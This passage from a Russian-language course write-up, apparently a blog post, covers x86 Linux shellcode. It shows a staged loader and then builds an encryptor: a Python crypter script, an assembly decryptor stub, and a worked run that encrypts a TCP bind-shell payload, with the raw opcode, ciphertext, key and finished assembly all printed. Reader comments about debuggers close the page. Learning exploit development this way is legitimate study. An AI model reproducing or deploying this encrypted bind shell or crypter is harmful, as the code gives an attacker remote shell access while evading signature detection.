    Данный шеллкод открывает соединение, получает вторую часть шеллкода и исполняет её.

    Код второй части:

    	section .text
    global _start
    
    _start:
    	xor eax, eax
    	mov al, 1
    	xor ebx, ebx
    	mov ebx, 100
    	int 0x80

    image

    Как можно заметить, вторая часть шеллкода выполнилась успешно. Код завершения программы равен 100.

    7. Шифровальщик


    Несмотря на то, что в курсе шеллкод шифруется при помощи высокоуровневого языка С и вспомогательных библиотек, я решил выполнить данное задание на ассемблере, т.к. курс посвящен именно ассемблеру, несмотря на упрощение алгоритма шифрования.

    crypter.py

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    
    import sys
    import random
    
    if len(sys.argv) != 2:
    	print("Enter shellcode in hex")
    	sys.exit(0)
    
    shellcode = sys.argv[1]
    plain_shellcode = bytearray.fromhex(shellcode)
    
    # Generating key
    key_length = len(plain_shellcode)
    r = ''.join(chr(random.randint(0,255)) for _ in range(key_length))
    key = bytearray(r.encode())
    
    encrypted_shellcode = ""
    plain_key = ""
    
    for b in range(len(plain_shellcode)):
    	enc_b = (plain_shellcode[b] + key[b]) & 255
    	encrypted_shellcode += '%02x' % enc_b
    	plain_key += '0x'+ '%02x' % key[b] + ','
    
    print('*'*150)
    print(encrypted_shellcode)
    print('*'*150)
    print(plain_key)
    print('*'*150)
    print(key_length)

    Сначала создадим «скелет»:

    	section .text
    global _start
    
    _start:
    	; push encrypted shellcode
    	<PUSH ENCRYPTED SHELLCODE>
    
    	jmp getdata
    next:	pop ebx
    
    	mov esi, esp
    	mov edi, esp
    	; place key length
    	mov ecx, <KEY LENGTH>
    
    decrypt:
    	lodsb
    	sub al, byte [ebx]
    	inc ebx
    	stosb
    	loop decrypt
    
    	jmp esp
    	; exit
    	xor eax, eax
    	mov al, 1
    	xor ebx, ebx
    	int 0x80
    
    
    getdata: call next
    	; Place key on next line
    	key db <CIPHER KEY>

    Для данного кода необходимо 3 вещи: push-инструкции с закодированным шеллкодом, длина ключа и сам ключ шифрования. Зашифруем TCP bind shell шеллкод. Выведем на печать опкод:

    $hexopcode bind_tcp_shell 
    31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80

    Зашифруем его:

    $./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
    *******************************Encrypted shellcode*******************************
    4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
    ***********************************KEY*******************************************
    0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
    ***********************************KEY LENGTH************************************
    105

    Выведем на печать push-инструкции для нашего результата:

    $python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
    	push 0x90909013
    	push 0x8fb7726f
            ...

    Заполним все необходимые параметры в asm-файле.

    	section .text
    global _start
    
    _start:
    	; push encrypted shellcode
    	push 0x90909013
    	push 0x8fb7726f
    	push 0x4cad864b
    	push 0xbf09ba20
    	push 0x2c13f1e5
    	push 0x1e36bff2
    	push 0x83a47bf3
    	push 0x76b90c8f
    	push 0xfa73b77f
    	push 0x4c55318b
    	push 0xab3cb9c5
    	push 0x19874bc0
    	push 0x750a73dd
    	push 0x18da4250
    	push 0xa338c711
    	push 0xb1491492
    	push 0x2d398f06
    	push 0x35c54629
    	push 0xe1d514c6
    	push 0x2dfc14c5
    	push 0xff29aecc
    	push 0xb4f718cc
    	push 0xac388f5d
    	push 0xfb457228
    	push 0x27b52d90
    	push 0x2d6378f4
    	push 0x8df4f24a
    
    	jmp getdata
    next:	pop ebx
    
    	mov esi, esp
    	mov edi, esp
    	; place key length
    	mov ecx, 105
    
    decrypt:
    	lodsb
    	sub al, byte [ebx]
    	inc ebx
    	stosb
    	loop decrypt
    
    	jmp esp
    	; exit
    	xor eax, eax
    	mov al, 1
    	xor ebx, ebx
    	int 0x80
    
    
    getdata: call next
    	; Place key on next line
    	key db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,

    Компилируем:

    $nasm32 encrypted_bind

    Получим опкод из файла:

    $popcode encrypted_bind

    Поместим всё это в shellcode.c, скомпилируем и запустим.

    image

    Ссылки


    Все ссылки на файлы и примеры вы можете найти здесь.

    Первоисточник.
    Digital Security
    Безопасность как искусство

    Комментарии 3

      0
      Интересно написано, спасибо!
      p.s. gdb жутко неудобная вещь, после дебага в винде это какой-то ужас ). Или со временем привыкаешь? Вроде видел какие-то гуи обертки, но ничего вменяемого не нашел, пользуюсь фришной Идой и cutter'ом.
        0
        Думаю, всё зависит от конкретных целей использования. Для прохождения курса и получения базовых навыков отладки GDB вполне достаточно и мне удобно «не вылезать» из консоли во время работы. Расширение Peda помогает в работе с «голым» GDB. Из графических могу порекомендовать edb debugger.
          0
          Цели — разного рода разработка на Си/Асм. Привык просто к графическим инструментам.
          Про edb не слышал, спасибо.

      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

      Самое читаемое